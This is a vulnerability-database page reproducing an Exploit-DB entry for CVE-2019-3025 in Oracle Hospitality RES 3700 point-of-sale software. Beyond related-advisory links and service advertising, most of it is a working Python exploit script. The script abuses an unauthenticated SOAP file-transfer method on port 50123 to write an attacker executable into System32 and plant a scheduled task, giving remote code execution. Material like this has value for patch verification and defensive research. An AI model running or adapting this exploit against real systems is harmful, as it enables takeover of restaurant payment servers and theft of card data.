Lucene search
K

Oracle Hospitality RES 3700 5.7 - Remote Code Execution

🗓️ 18 May 2020 00:00:00Reported by Walid FaourType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 744 Views

Oracle Hospitality RES 3700 5.7 Remote Code Execution with SOAP Exploit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Oracle Hospitality RES 3700 5.7 - Remote Code Execution Exploit
19 May 202000:00
zdt
CNVD
Oracle Hospitality RES 3700 Unauthorized Access Vulnerability
16 Oct 201900:00
cnvd
CVE
CVE-2019-3025
16 Oct 201917:40
cve
Cvelist
CVE-2019-3025
16 Oct 201917:40
cvelist
NVD
CVE-2019-3025
16 Oct 201918:15
nvd
Oracle
Oracle Critical Patch Update Advisory - October 2019
22 Jan 202000:00
oracle
OSV
CVE-2019-3025
16 Oct 201918:15
osv
Packet Storm
Oracle Hospitality RES 3700 5.7 Remote Code Execution
18 May 202000:00
packetstorm
Prion
Buffer overflow
16 Oct 201918:15
prion
Positive Technologies
PT-2019-3598 · Oracle · Oracle Hospitality Res 3700
15 Oct 201900:00
ptsecurity
Rows per page
# Exploit Title: Oracle Hospitality RES 3700 5.7 - Remote Code Execution
# Date: 2019-10-01
# Exploit Author: Walid Faour
# Vendor Homepage: https://www.oracle.com/industries/food-beverage/products/res-3700/
# Software Link: N/A (Available to customers)
# Version: <= v5.7
# Tested on: Windows Server 2003 / Windows Server 2008
# CVE : CVE-2019-3025

#!/usr/bin/env python

#Author: Walid Faour
#Date: Aug. 2, 2019
#Oracle Hospitality RES 3700 Release 4.9 Exploit

import binascii
import requests

print
print '-------------------------------------------------'
print 'Oracle Hospitality RES 3700 Release 4.9 - Exploit'
print '-------------------------------------------------'
print

IP = raw_input("Enter the IP address: ")
URL = "http://" + IP + ":50123"

f = open("attacker-4.9.exe",'rb')
raw_payload = f.read()
payload_hex = binascii.hexlify(raw_payload)
f.close()

g = open("attacker-4.9.job",'rb')
raw_task = g.read()
scheduled_task_hex = binascii.hexlify(raw_task)
g.close()

def exploit_body(data,full_path):
	body = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> \
			<SOAP-ENV:Body xmlns:MCRS-ENV="MCRS-URI"> \
				<MCRS-ENV:Service>MDSSYSUTILS</MCRS-ENV:Service> \
				<MCRS-ENV:Method>TransferFile</MCRS-ENV:Method> \
				<MCRS-ENV:SessionKey>Session</MCRS-ENV:SessionKey> \
				<MCRS-ENV:InputParameters> \
					<dst>' + full_path + '</dst> \
					<fn>' + full_path + '</fn> \
					<data>' + data + '</data> \
				</MCRS-ENV:InputParameters> \
			</SOAP-ENV:Body> \
		</SOAP-ENV:Envelope>'
	return body
def exploit_headers(body):
	headers = {
		"Content-Type" : "text/xml",
		"User-Agent" : "MDS POS Client",
		"Host" : IP + ":50123",
		"Content-Length" : str(len(body)),
		"Connection" : "Keep-Alive"
	}
	return headers
print 'Exploiting Oracle Hospitality RES 3700 at IP address ' + IP + '...'
body_payload = exploit_body(payload_hex,"C:\\Windows\\System32\\attacker-4.9.exe")
body_task = exploit_body(scheduled_task_hex,"C:\\Windows\\Tasks\\attacker-4.9.job")
send_payload = requests.post(URL,data=body_payload,headers=exploit_headers(body_payload))
send_task = requests.post(URL,data=body_task,headers=exploit_headers(body_task))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 May 2020 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 26.8
CVSS 3.19
EPSS0.27585
SSVC
744